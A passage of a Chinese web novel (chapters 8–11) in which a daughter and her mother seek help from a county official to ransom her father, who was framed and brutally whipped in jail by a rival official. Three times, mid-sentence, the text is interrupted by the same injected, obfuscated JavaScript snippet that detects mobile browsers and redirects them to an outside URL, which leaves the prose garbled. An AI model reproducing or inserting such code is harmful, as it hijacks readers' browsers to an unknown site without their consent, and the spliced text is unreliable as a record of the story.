待张妈备好午膳，林婉清和沈沁姝方才在桌前坐下。二人皆为沈敬之的事情忧心忡忡，都无心午膳，只草草用了几口，便放下了筷子。 沈沁姝看着母亲眉宇间的倦色，轻声道：“母亲，女儿还有些账目未清，先去处理。您今日劳心，身子要紧，不如先回房歇一会儿，待您醒了，女儿再来请安。” 林婉清见女儿这般懂事体贴，终究拗不过，便应了。 沈沁姝回房后，对着账本算了算铺面能典当的金额，心头渐渐沉了下来。 若直接找赵子平，真能那么顺利的救父亲出来吗？ 她忽然想起前些日子父亲给她看的那封从县衙递来的信，虽说没有署名，但那笔迹却十分眼熟，像是之前也见过。 想到这儿，沈沁姝放下账本，起身出门，径直去了书房。 沈沁姝推开书房门，在书架的第二层找到父亲常用的那个漆木信匣。她将里面的信一一取出，仔细辨认落款，终于在一封旧信上看见了她要找的笔迹。 那信封上署名“旧属何仁天”。 她将这封信拿出来放在书桌上，接着去找那日父亲给她看的那封无署名的信，却翻遍信匣也寻不到。 沈沁姝蹙眉沉思，莫非父亲早已将那封信销毁了？ 想着，她的目光扫过书架上那本厚重的《雍律》，心头一动，她仔细观察着，继而伸手将它抽了出来。 入手的瞬间，沈沁姝便察觉出不对。这本《雍律》看着与官刻本无异，可入手便觉沉了几分。 她指尖微顿，按耐住心头的诧异，只在心里暗道，父亲这藏东西的法子，倒是比她预想的还要直白些。 沈沁姝将《雍律》取下，平放在案上。这书的封面封底都是多层绵纸反复压成的硬纸板裱蓝绢的，边缘以浆糊封得严丝合缝。她用指甲顺着书脊内侧的暗缝轻轻一挑，裱纸便开了道细口，再顺势一掀。原本该是书页的地方早已被掏空，前后仅留几页衬纸做幌子，中间恰好嵌着一方樟木信匣。 信匣被被衬纸和硬纸板牢牢卡在中间，连晃动时的缝隙都被垫了薄绵纸，若非掂出重量不对，轻易也无法察觉这书中有这一方信匣。 沈沁姝将信匣打开，取出里面的信件。匣中信件大多没有署名，她速速扫过封面，终于找到了那日父亲给她看的、从县衙里送来的那一封。 她将其余信件小心收好，把这两封信并排放在桌上。虽知漆木信匣中的信件没有什么机密，但她无意窥看父亲的信件，只对比了信封的笔迹。能看出执笔人刻意改过字体，但一个人的笔迹终究难掩，她已能断定这两封信出于一人之手。 何仁天，字文渊，现青溪县丞。此人原是青溪县衙的吏房书吏，是父亲属下。父亲在任时对他多有器重，辞官前又特意为他保荐，他才得以由吏出职。又因他历年考课皆优，方才递补到了如今的职务。 父亲辞官后，青溪旧属里，也唯有他年年岁末都会登门拜访，从未间断。 沈沁姝将信件妥帖收好，靠在椅背上深思。石勇一事，她们不敢上诉；而她与母亲都是内眷，也不便去见赵子平，直言“花钱消灾，撤案放人”一事。但若何仁天肯从中周旋，便是眼下最合适的中间人。 一来，他与赵子平是平级同僚，于情于理，赵子平都要给他几分薄面，而若是她或者母亲出面，很可能连赵子平的面都见不到。 二来，有他在中间周旋，也能防赵子平狮子大张口、吞钱不办事。她们所求不过花钱打点，撤案放人，只需要他居中说项，并不需要他牵扯太深，对他而言也并非难事。 再者，牢狱之中都是赵子平属下，她们不便亲自打点狱卒，还得劳烦他暗中照拂一二，确保父亲在狱中无虞。 想到这儿，沈沁姝起身，快步走出了书房，找到了周管家。 “前些日子施粥时，都有哪些人送来了东西。”沈沁姝问道。 周管家答：“那日送来的东西大多未曾署名，再者那日的东西都是按府中采买入帐的，小的未曾记录。” 沈沁姝皱眉，想起那日确实是让周管家不必记录名字。她只得点了点头，示意自己知道了。 周管家瞧着沈沁姝的神情，略一思忖，道：“小姐可是要找什么人？那日虽未记录，但小的却都翻过一遍，还记得些人。” 沈沁姝眼睛微亮，顺势问道。“哦？那何县丞那日可有送些什么？” “有的。那日送东西的人家本就不多，署名的更寥寥。偏何县丞送的多，也署了名，小的记得很是清楚。”周管家答。 沈沁姝点了点头，道：“我知道了，你随我去主院。” “是。”周管家躬身回道，便跟在她身后。 沈沁姝转身往主院走去。 刚走到东屋门前，恰逢张妈推门出来。她看见二人，连忙上前，对沈沁姝福了福身，轻声唤道：“小姐。” 周管家也略一躬身，对着张妈微微拱手，道：“张妈。” 张妈颔首应了，目光便又落回沈沁姝身上。 沈沁姝问道：“母亲歇下了？” 张妈叹了口气，低声回道：“夫人心里挂着老爷的事，哪里睡得着？老身见她实在忧虑伤神，身子熬不住，才劝她躺下歇着，这会儿怕还醒着。而且夫人一早心忧老爷的事情，连药都没顾上吃，老身正温着药，打算去看看呢。” “我有急事找母亲。”沈沁姝看了她一眼，“不必通报了，我自己进去。你去守着药炉，瞧着时辰合适，便把药端来。” “是。”张妈对着她福了福身，便依言退下了。 闻言，周管家停在东屋外，静静候着。 沈沁姝走进外间，在内室的帘外停下脚步，轻声道：“母亲，女儿有要事求见。” “进来吧。” 沈沁姝掀开帘子进去，正见林婉清撑着胳膊，从榻上坐起身来。 她连忙上前扶着母亲，帮她坐稳，顺手理了理被褥。 “可是出什么事了？你父亲… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17494611|202417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …”林婉清没等坐稳，便忧心忡忡地望着女儿。她一直劝自己沉住气，可自家女儿向来知礼数，若非十分要紧的事情，绝不会在她午睡时来找她。而眼下最要紧的事，全是关乎沈敬之的，她如何能不急。 沈沁姝对着她安抚地笑了笑，将方才在书房的思量，细细说给母亲听。 林婉清听完，低头沉默片刻，微叹一口气，抬手抚上她的脸，道：“你想得周全，难为你了。” “这是女儿该做的。” 林婉清便要下床穿衣：“叫张妈进来帮我更衣，我们现在便去寻何大人。” “娘，不急于这一时。”沈沁姝轻轻按住她，“张妈说您今日的药还未服下，这会儿正去煎药了。我这就去吩咐周管家备拜帖、备一份薄礼，再备好马车。等您喝了药，我们再出发也不迟。” 林婉清拗不过她，只得点头应了，申请里却依旧带着几分焦灼。 沈沁姝转身出了屋，唤道：“周管家，我与夫人打算拜访何县丞，你去备一份拜帖，再按规矩准备一份薄礼。” 周管家闻言躬身应道：“是，小的这就去办。”说罢便转身退下了。 沈沁姝又回到内室，陪林婉清闲语几句，轻声宽慰了片刻。不多时，张妈端着药进来了。 “夫人，药来了。” 沈沁姝接过药碗，拿起勺子喂林婉清服下。 待林婉清喝完药，沈沁姝将药碗递还给张妈，告知她们要去拜访何县丞一事。 张妈闻言，先将药碗放在桌上，便上前对林婉清道：“老身伺候夫人更衣。” 林婉清点了点头，沈沁姝见状，便福身告退，到外间等候。 不一会儿，林婉清穿戴整齐，与沈沁姝一同走到家门口。周管家和春儿早已候在那里，春儿手里提着备好的礼盒。 见两人出来，周管家与春儿上前见礼，林婉清微微颔首。 随后，林婉清先登上马车，在车厢内侧坐定，沈沁姝随后入内，坐在她身侧外侧。春儿向周管家福了福身，将礼盒递给他，自己则轻巧一跃，坐在了车夫旁的小凳上。 周管家提着礼盒，侍立在马车左后侧。待车轱辘一动，便稳步跟在一旁。 沈家离何家不远，不过一刻钟，马车便停在了何家门前。 周管家快步上前，对着门房拱手道：“小哥，我是沈家管家，我家主母沈夫人，特来拜会何县丞。”说着，便将拜帖与礼盒一并递了过去。 门房接过拜帖，见上面写着“沈公眷属苏氏率女谨拜”，顿时面上堆起笑，道：“原来是沈家的管家，我家大人早有吩咐，沈家夫人来了不必通报。小的这就去请管事嬷嬷出来，引夫人和小姐进去。” 周管家闻言松了一口气，笑道：“如此便劳烦小哥了。” 车厢内，林婉清与沈沁姝听见外面的对话，都相视一笑。尤其是林婉清，早上被县令夫人拒之门外，这一路上都悬着心，生怕再吃闭门羹，此刻听见这话，才终于松了一口气。 9. 第九章 此时听完周管家与门房的对话，春儿便掀开半边车帘，拢好后便轻身跃下车，侧身扶住车辕。她先伸手伸手扶住林婉清，引她缓缓踏下车踏板，待她站稳，又回身扶沈沁姝下来，顺手将车帘放下。 母女两人立在车旁等待。门房早已叫小厮过来，引着马夫将马车牵往侧院马厩停放。 不多时，宅中走出一位青布比甲的管事婆子，她快步上前，对着林婉清屈膝一福，又对沈沁姝略一欠身，道：“夫人、小姐久候了，我家大人已在花厅等候，老身引二位入内。” 林婉清微微颔首，沈沁姝亦轻轻点头示意。婆子侧身让开道路，抬手引路：“二位这边请。” 春儿跟在沈沁姝身后半步。 待几人进去后，门房引周管家到外厅等候。 一行人穿过垂花门，进入院内正厅。 何仁天见到她们进来，连忙起身相迎，拱手道：“嫂夫人，贤侄女，快请上座。” 两人皆屈膝回礼，林婉清声音微涩：“何县丞，冒昧登门，实在是……” 何仁天抬手引她们在梨花木椅上落座，片刻后，婢女奉上清茶，便悄然退下，厅内只留主客三人。 何仁天这才缓缓开口，沉声道：“嫂夫人不必多言。今日听闻沈公突遭此厄，小弟心中难安。赵子平与沈公素有旧隙，此番事发突兀，内情我已然猜出几分。” 他微微一顿：“小弟当年蒙沈公一手提拔，才有今日。今日我一直想上门拜访，如今嫂夫人与侄女前来，倒如我愿。嫂夫人前来有何要事，但凡我能尽绵薄之力，必当全力以赴，绝无二话。” 何仁天这番话说得恳求，林婉清心中一酸，起身微微一礼。 “多谢何县丞肯顾念旧情，今日家中遭此劫难，我母女两人孤苦无援，只能前来叨扰。” 何仁天连忙起身虚扶：“嫂夫人万万不可如此。” 林婉清重新落座，拿起手帕轻轻擦拭眼角的泪：“此事来得猝不及防，拙夫一生清正，断不会做出那等事来，可我们手中无凭无据，连见他一面都难……” 说到此处，她顿住，看向身旁的沈沁姝。沈沁姝会意，起身上前一步，敛衽微微一礼：“世叔，父亲今日被构陷下狱，其中缘由赵大人说的还算清楚。如今别无他求，只望世叔能代为周旋一二，让父亲在狱中免受苛待。再有便是，后续案情动向，还望世叔能暗中透与我们知晓，我们也好早做打算。” 何仁天闻言，闻声安抚道：“嫂夫人、侄女不必过于忧虑。今日沈公出事的消息一传来，我便已暗中使人去狱中打点过了，定不会让沈公受半点磋磨。” 林婉清闻言，连声道谢。 沈沁姝垂眸，片刻后又道：“世叔仗义，我母女感激不尽。只是父亲被人长久关押终究不是办法。如今之计，我们只求能早日将父亲平安接出府衙，但凡能用银两疏通、上下打点之处，家中虽已困顿，也愿尽数凑措，绝不吝惜。” 她话说到这里便停住，只静静看着何仁天。 何仁天在官场多年，一听便知其意，眉头微蹙，沉吟片刻才低声道：“侄女的心思，我明白了。只是赵子平此番存心构陷，怕是寻常银钱难以轻易了事。此事需从长计议，不可莽撞。你们且先安心回去，我暗中设法周旋，一有眉目，便即刻设法知会你们。” 闻言，林婉清起身行礼：“有劳县丞费心。” 沈沁姝亦跟着福身：“多谢世叔援手，小女与母亲便不多做叨扰，就此告辞。” 何县丞起身相送：“我送二位至二门。” 说罢，便亲自引着二人出了花厅，一路送到垂花门前，方才止步拱手。 春儿早已侍立在门外，见二人出来，连忙跟上，一行人由先前的管家婆子送出府门。 马车缓缓驱动，车厢内一时安静。 林婉清轻轻叹了一声，看向女儿：“此事总算暂且有了着落。” 沈沁姝握住母亲的手，轻声安慰道：“母亲放心，世叔既有心相助，父亲在狱中定然不会受委屈，往后我们再慢慢筹谋，总会有法子的。” 林婉清点了点头，不再多言，只闭目养神，心头稍安。 次日清晨，沈沁姝一早便叫春儿叫来了周管家。 她昨日回家后便将家中账目算清。眼下要救父亲，少不得大笔银钱疏通，寻常首饰不过杯水车薪，真正能凑出足够现银的，只有城中那几间铺面。 方才张妈送来了房契地契。沈沁姝将东西交给了周管家。 “周管家，这些铺面，你今日便寻稳妥的中间人，去找买家出手，价钱不必过于计较，只求能快速到手的现银。此时不宜让旁人知晓，你不要亲自出面找买家。” 周管家双手接过：“小姐放心，小的知道轻重，必定尽快办妥。” 随后沈沁姝又将包好的金簪玉镯递给张妈：“这些你拿去当铺兑了，虽是小头，也能添补些用度。快去快回。” 张妈应下，与周管家一前一后出去了。 半日过去，何仁天结束了一上午的公务，他换了身寻常常服，未带侍从，独自前往赵子平家中。 此时城中因为流民与反贼之事暗流涌动，而沈敬之又因为这个罪名被下狱，赵子平作为发难之人，必定紧盯各方动静。他此番登门，虽说是顺理成章的同僚往来，但赵子平自然知晓他是为了沈敬之来探听虚实的。 赵家门房见是何仁天登门，连忙躬身迎入，快步通报。不多时，便被引至前厅客位坐下。 赵子平身着锦袍，面带几分倨傲笑意缓步而出，拱手见礼：“文渊兄今日怎得闲来登门？快请坐。” 何仁天道：“近日无事，特来拜访怀安兄。” 说完，他顺着话头闲谈几句饮食起居、街坊风物，半句不提沈敬之。 他心中清楚，赵子平分明知晓他来意，却故意装糊涂，那他便也顺着装糊涂。 闲话片刻，赵子平却等不及了，转了话锋，目光微挑：“文渊兄今日登门，怕不只是来与我叙家常的吧？” 何仁天放下茶盏，神色依旧平和：“怀安兄说笑了。不过同僚往来，并无他意。” 赵子平轻笑一声，语气渐冷：“既是如此，那我便直说了。沈承一案，证据确凿，按律处置，旁人本不该多嘴。文渊兄与他素有旧交，心中偏私，也是人之常情。” 何仁天淡淡抬眼，语气沉稳： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17494612|202417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “世间事，真的假不了，假的真不了。一时构陷易得，长久遮掩却难。怀安兄身在公门，当知机关算尽，反误自身，害人终害己的道理。” 赵子平脸上笑意一收，声音压得低了些：“文渊兄是个明白人。事在人为，哪有什么解不开的死结？沈家如今着急救人，想必也舍得拿出些诚意。只要他们懂事，这事自然有转圜余地。文渊兄不妨去递个话。” 何仁天听罢，脸上神色未改，他知晓如今若是急迫的表现出想救人，反而中了赵子平下怀。若他对此事毫不在意，着急的反倒是赵子平：“赵大人身为朝廷命官，执法治县，不想秉公断案，反倒以此要挟索贿，不觉得有失官体、令人不齿吗？” 赵子平脸色一沉：“何大人，你可想清楚再说话。” 何仁天起身，袍袖一拂：“道不同不相为谋。赵大人这般行径，我可不愿为你递话。告辞！” 话音落，他不再多看赵子平一眼，径直转身，大步出了赵家。 厅内只余下赵子平脸色铁青，僵在原地。 何仁天出赵家后，脸上的愤然便收了起来。知晓赵子平是为了钱财，接下来的事情便好办了。 他没有直接前往沈府，只径自回了自家宅院。 此刻登门，难保被人看出端倪、引火烧身，只能等晚些再派人去传讯。 另一边，时至傍晚，周管家才匆匆回宅。 进了内院，他快步走到沈沁姝面前，低声回禀：“小姐，城中那几间铺面，小的已经寻妥了买家，价钱也算公道。只是对方筹措大额现银，尚需一日，约莫明日晌午便可过户交易，一手交契，一手交钱。” 沈沁姝轻轻颔首：“知道了，只要买家可靠，晚一日无妨。一切以稳妥为先。” 周管家应下，又从怀中取出一封封缄严密的书信，双手奉上：“还有一事，小的方才回家之时，在门口遇见了何家的管家，他托老奴将此物转交夫人，说是紧要私信，旁人不可经手。” 一听见“何家”二字，沈沁姝眸色微亮，心头当即一紧。 何仁天昨日方才应下相助，今日便有信送来，定然是父亲的消息有了眉目。 她伸手接过书信，对周管家道：“此事我知道了，你先下去歇息吧，今日辛苦。” 待周管家退下，沈沁姝握着那封的信，不再耽搁，转身便往正院而去。 沈沁姝一进东屋，便见母亲正坐在灯下出神，眉宇间满是忧色。 “娘。” 林婉清抬眼看来，见女儿神色郑重：“可是有什么消息？” 沈沁姝走上前，将那封信递了过去：“是何家管家送来的。” 林婉清指尖微颤，连忙接过，拆开封，就着灯火一字一句细看。 她越看眉头越是舒展，眼底的焦灼也淡了几分，待看完最后一字，长长松了一口气。 她将信折好，转手便递给沈沁姝：“你也看看吧，是何县丞送来的消息。” 沈沁姝将信笺细细看过，一直悬着的心终于稍稍落下，轻轻舒了口气。 她将信纸折好道：“如今既知赵子平要财，事情反倒好办了。只要他有所求，我们便有周旋的余地。” 10. 第十章 沈沁姝是按着常理来盘算的。赵子平一心求财，自不会轻易断了赎人的财路。何况他心虚，本就不敢将案子闹大上报。 明日她与母亲一同去县衙鸣冤施压，赵子平为求息事，迟早会主动找上门来，届时再谈赎人，她们便不会被动。 她将一切想得稳妥，但终究还是年轻，只按人心利弊去算计，却没料到赵子平这般心胸忮忌的小人，从来不会按常理出牌。 又说回下午，何仁天拂袖而去后，赵子平待在家中是越想越气。又听说沈家依旧按兵不动，半分没有上门求告的意思，他更是怒火中烧。 在赵子平眼里，这分明是沈家看不起他。 沈敬之捏在他手里，沈家仅靠两个女流，竟还敢这般与他拿乔？ 赵子平冷笑两声，当即叫人备车，径直往牢狱去了。 牢头与狱卒见了他，无不躬身陪笑。 赵子平冷着一张脸，只道：“带我去沈承的牢房。” 只见牢房中，沈敬之穿着一身囚衣，虽头发蓬乱、衣衫脏污，身上还有些伤，却依旧脊背挺直，盘腿坐在草席上，背对着牢门。 赵子平最恨的就是沈敬之那副云淡风轻，文人风骨的样子。 一见沈敬之在牢中还是这幅模样，赵子平怒了。 他沉声叫狱卒退下。 待狱卒退去，赵子平一身官服，大摇大摆地走进来。 何仁天拂袖而去的鄙夷，以及现在沈敬之听见声音却一动不动，当他不存在，还背对着他的模样，都让他心中燃起一股按捺不住的忮忌。 此刻那些忮忌全化作了一腔恶气，只想往沈敬之身上撒。 沈敬之闭着眼，背对着他，但也感知到了赵子平的存在，只淡淡吐出一句：“清者自清，浊者自浊。赵县尉又何必在此虚耗光阴。” “清者自清？”赵子平像是听到了天大的笑话，猛地一脚踹在他身上。沈敬之被踹的倒在草席上，伤口传来剧痛，像是撕裂了。但他也只是眉头微微一蹙，便又撑起身子，重新坐直。 赵子平见状，怒火更盛，他未等沈敬之坐稳，便又是一脚踹到他背上：“沈承，你也不撒泡尿照照自己现在什么德行？一身官服被扒了，阶下囚一个，还跟我谈什么清浊风骨？” “你以为你还是那个受人敬仰的沈县丞吗？你看看你，如今满身污秽，跟这牢里的烂泥有什么区别？”他语气刻薄，“识时务者为俊杰，如今你身陷囹圄，乖乖认个错，倒也能少受些罪。偏偏你要装这副硬骨头，到头来，我到要看看你会有什么好下场？” 沈敬之踉跄着从草席上起身。 那双素来温和的眸子，此刻只剩不屑。他看着赵子平那张因忮忌而扭曲的脸，缓缓开口： “赵子平，当初你我同朝为官，本该各司其职，共守律法。可你呢？为了一己私欲，草菅人命，贪赃枉法。你丢的何止是官声，更是做人的底线。我不屑于尔等同流合污。如今我虽身陷囹圄，却行得正坐得端，总好过你这般披着官衣的蛀虫，连骨头都没有。” 赵子平最恨的，就是沈敬之这种“虽落难却风骨不减”的文人。在他眼里，沈敬之早没了官职，如今又下了狱，落在了他手上。在他看来这时的沈敬之就该低眉顺眼、摇尾乞怜，怎么还敢有这般傲气？ “希望你等会嘴也那么硬。”赵子平冷笑道，又故意提起沈沁姝，“对了，你女儿不是向来聪慧吗？怎么没见她来赎你，怕不是想让你在狱中等死吧？” 说完，他便扬声叫狱卒进来，道：“把他带去问话，好好‘伺候’。” 沈敬之没有理会赵子平这卑劣的挑拨之语，见狱卒上前拉他，只抬手轻轻扫开，目光扫过那几人，淡淡道：“我自己会走。” 赵子平看着他依旧挺直的脊背，更是生气。心想沈敬之硬骨头也就罢了，但沈沁姝那死丫头片子也敢和他拿乔，让何仁天来试探，却迟迟不肯拿钱赎人。 他暗暗咬牙，心道今日非要给这父女俩一点颜色看看不可。 狱卒将沈敬之绑在刑架后，便将火麻鞭递到赵子平手中。 赵子平接过鞭子，脸上带着病态的快意与忮火，狠狠一鞭便抽在沈敬之身上。 沈敬之被打得闷哼一声，唇角渗出一丝血迹，却只冷冷地看着赵子平，眼中没有半分惧色，只有更深的鄙夷，像在看一个跳梁小丑。 赵子平见他这副模样，气得浑身发抖，手腕发力，又狠狠甩上几鞭：“沈敬之，你别给脸不要脸！现在你在我手里，我让你生你就生，让你死你就死！你以为你那点骨气值几个钱？在这牢里，我的话就是律法！” “你不是要清者自清吗？我就让你看看，什么叫身不由己，什么叫任人宰割！”他手上加力，鞭声越来越响。 一旁几个尚有几分良心的狱卒，都悄悄别过了眼，不敢去看刑架上那道身影。 “我告诉你，官职没了，你就什么都不是了！你连给我提鞋都不配！” 沈敬之疼得额上冷汗直冒，脊背被打得皮开肉绽，却依旧死死咬着牙，不肯发出一声求饶。 这份沉默，比任何反抗都更让赵子平抓狂。 赵子平猛地停手，盯着沈敬之冷笑。他偏要毁了这份风骨。 几个狱卒见他发了狂，连忙上前道：“赵县尉息怒，别气坏了身子……” 话还没说完，赵子平反手就是一鞭，抽在那狱卒肩头，厉声道：“滚！谁让你们多嘴的？” 狱卒被吓得连忙退到墙角，有人悄悄交换了个眼神，都看出赵子平今日是打定主意要把沈敬之往死里打了。 但这狱卒被打的小插曲，倒让赵子平有了几分清醒，沈敬之不比寻常百姓，不能真让他死在狱中。 他渐渐冷静下来，眼底的疯狂被阴鸷取代。 一旁他的心腹牢头见状，连忙一脸讨好地上前：“赵大人，可要小的们备些别的？” 赵子平阴沉着脸，冷声道：“去，拿盐水来。” 牢头连忙应声退下。 赵子平坐在狱卒搬来的椅子上，盯着刑架上的沈敬之，一字一顿：“沈承，我有的是时间陪你耗，我倒要看看，你这硬骨头能熬到几时！” 说罢，他狠狠朝地上啐了一口。 回应他的，是沈敬之那声若有若无、带着嘲讽的低笑。 待牢头端来盐水，赵子平亲眼看着狱卒将盐水泼在沈敬之身上。 “嘶——” 沈敬之说起来也只是个文弱书生，刚刚的鞭刑已让他承受不住，这会盐水的刺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17494613|202417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 激让他一颤，终于眼前一黑，疼得昏死过去。 而狱中发生的一切，沈家母女此时还一无所知。 第二日，沈沁姝便带着母亲林婉清，一同到衙门口递状喊冤。这些日子她也曾四处拜访乡绅旧僚，可人人都避之不及，世态炎凉，她早有预料。若有人肯出面施压自然最好，若无，她们母女二人亦足够了。 沈沁姝递上状纸，林婉清则病弱地扶着女儿哭泣，引得围观百姓议论纷纷。 众人皆知当初沈敬之为官清廉，辞官后也经常接济乡里，先前还救济流民。 当然大家更清楚赵子平的为人。 虽说无人敢做那出头鸟，但当人多时，大家却还是愿意随波逐流地喊着不公。 衙内的杨县令听着外头的动静，终究叹了口气，差人叫来了赵子平。言语间句句敲打，让他见好就收，莫要把事情闹大。 赵子平心里清楚，沈敬之是他刻意构陷，杨县令也未必猜不到。 而且他也害怕东窗事发，本就心下不安。 加上今早狱卒又来报，说昨日他下手过重，沈敬之伤得极重，牢中湿秽，再不医治怕是撑不住了。 赵子平不愿找人替沈敬之医治，又怕他死在狱中。 一来，沈敬之也曾是官身，若查实是赵子平平白诬陷，还动刑致死，只怕引得众怒，后果不堪设想。 二来，沈敬之是林氏的女婿，若没死，林氏怕是不会管一个庶女的夫婿有没有下狱。但若是死了，沈家母女闹去林氏上告，林氏必定会为了脸面，出手追责，到时候自己轻则丢官，重则丢命。 赵子平越想越怕，只盼着赶紧把这桩烂事脱手，便讪讪地对着杨县令应道：“下官明白，这就处理妥当。” 转头他便找上何仁天，隐晦地暗示沈家，愿以一个不算高的数额，私下了结赎人之事。 何仁天面上不动声色，心里却想赵子平这是心虚了，见价格也算公道，便替他牵线，联系上了沈家。 沈沁姝一听，虽觉蹊跷，却也怕夜长梦多，当下便同意了，备好现银，只待约定时间，由何仁天出面赎回沈敬之。 但沈沁姝不知为何，心中总是不安，又提出让何仁天先去狱中看看沈敬之，确认无恙再交割赎银。 何仁天深觉有理，便找上赵子平说项。 赵子平心里发虚，面上却依旧狠厉，只冷声道：“沈家休得得寸进尺！” 可他越是阻拦，何仁天越看出了他的心虚。 他以县丞的身份，径直往牢狱去了。牢狱虽由赵子平管辖，但何仁天同为县衙佐官，品级相当，牢卒哪敢阻拦，只得放他进去。 一见牢房中，躺在草席上浑身是伤、气息奄奄的沈敬之，何仁天当即气得对赵子平破口大骂，当场就要带人离开。 赵子平哪里肯让到嘴的银子飞了，当下便摆出鱼死网破的架势，威胁何仁天若是坏了他的事，谁也别想好过。 何仁天一心只想先将沈敬之救出去医治，眼下林婉清又不在场，无法商议，便当即做主，减半赎银，折中了结此事，只求先把人换出来。 赵子平见他松了口，虽心有不甘，却也怕事情闹大，只得忍气吞声收下银子，仓仓促促地放了沈敬之，只盼着赶紧息事宁人。 11. 第十一章 沈敬之被何仁天护送归家时，沈沁姝几乎不敢辨认眼前血肉模糊、伤痕遍布之人，竟是自己的父亲。 她怎么能想到赵子平心肠如此阴狠，竟对沈敬之下此毒手。 而林婉清见沈敬之满身伤痕、气息微弱，当场心神大乱，险些晕厥过去。 沈沁姝强作镇定，连忙吩咐下人速速前去请大夫。 何仁天温声安抚：“侄女不必惊慌，归途之中，我便已差人先行去请大夫，此刻应当便快到了。” 众人小心翼翼将沈敬之抬入内室安卧，不多时，周管家便领着曾大夫匆匆进屋。 “夫人，曾大夫到了。” 林婉清连忙上前行礼：“有劳大夫费心诊治。” 曾大夫依规向林婉清回礼，随即上前细细诊脉。 片刻过后，他面色凝重，轻轻摇头：“脉息浮数躁急，邪毒侵入营血，热毒已然攻心侵肺。” 继而他仔细查验沈敬之周身鞭伤，轻叹道：“鞭疮溃烂流脓，腐气郁结不散，外伤破溃引动恶毒，淤滞五脏六腑。” “伤势凶险万分，疮毒蔓延深重。” 言罢，他提笔开出药方，分好内服汤药与外敷疗伤药膏。 写完的方子递给周管家，又再三叮嘱林婉清细心看护：若是当夜高热能够消退，尚有一线生机；倘若连日高烧不退、神昏嗜睡不醒，便是药石难医，性命堪忧。 沈沁姝望着榻上父亲，不过短短数日未见，昔日温雅清朗之人，变得遍体鳞伤、面色枯白，鞭痕纵横，伤口溃烂渗脓，气息微弱断续，奄奄一息。 她心口一阵窒闷绞痛，酸涩难忍，却又压住悲恸。 母亲已经很伤心了，她不能失态。 “母亲。”沈沁姝望着眼眶通红、走入房中的林婉清，轻声唤道。 林婉清轻轻应声，手中拿着府中可用的疗伤药膏。 她走进来先对着何仁天福身：“有劳何大人费心。” 何仁天连忙侧身扶住，道：“嫂夫人不必多礼，我并未帮上多少。沈公他……” 他望向榻上生死难料、气息垂危的沈敬之，轻轻叹息一声，余下的话终究没能说出口。 林婉清凄然浅笑，无言以对。 沈沁姝想着母亲要给父亲上药，她与何仁天都不便在场，待二人话音落尽，上前道：“何世叔，父亲伤势沉重，万万经不起惊扰。卧房狭小闷热，恐怠慢了世叔。不如移步院中稍坐片刻，沁姝尚有几件要事，想向世叔请教一二。” 何仁天瞥见林婉清手中疗伤药膏，即刻会意，颔首温声道：“理应如此，倒是我贸然叨扰了。” 说罢便顺势起身，走出内室。 沈沁姝紧随他身后半步，轻声引路：“世叔请随我来。” 走到院中石桌旁后，沈沁姝侧身站在一旁，请何仁天先行落座。 何仁天抬手相让：“侄女请坐。” 沈沁姝微微屈膝福身谢过，侧身落在一旁矮凳上，轻声道：“多谢世叔。” 何仁天缓缓将狱中诸事细细道来，轻叹道：“我早已暗中打点狱卒，叮嘱他们万万不可苛待沈公，却未曾料到，赵子平竟亲自下手，下手这般狠毒无情。” 为官之人，素来爱惜自身官名前程，赵子平这般小人行径、肆意妄为，实在令人防不胜防。 谈及此处，何仁天面上满是愤慨不平。 沈沁姝心中亦是怒火翻涌，只是她素来沉静内敛，不轻易外露心绪。可此事关乎父亲生死冤屈，眉眼之间，终究难掩一抹怒意。 何仁天见她年纪尚轻，却能如此沉稳克制、不动声色，不由得想起昔日与沈敬之交谈时，沈敬之曾骄傲言道，女儿绝非池中之物。 他与沈敬之交情深厚，往日却极少与沈沁姝往来，起初只当是为人父母偏爱自家儿女的夸赞。如今亲眼一见，单凭这份临危不乱、收敛心绪的定力，便知沈沁姝当真气度不凡，远胜寻常人。 沈沁姝心中实在难咽下这口气。 她对何仁天道：“家父蒙冤受辱，沁姝身为女儿，自当搜集人证物证，一纸状书，层层上告，要让赵子平血债血偿。” 何仁天轻叹：“侄女有心，狱中伤痕、赎银往来、狱卒证言，世叔都会暗中帮你作证。” 沈沁姝轻轻颔首，心中却深知眼下凭据远远不够，还得请林氏帮忙。不过此事干系重大，不便多说，只恭敬道谢：“多谢世叔搭救之恩，沈家没齿难忘。” 不多时，林婉清走了出来。 她双目依旧红肿，显然方才哭过许久。但此刻已然整理好了仪容，得体上前，再度向何仁天躬身致谢。 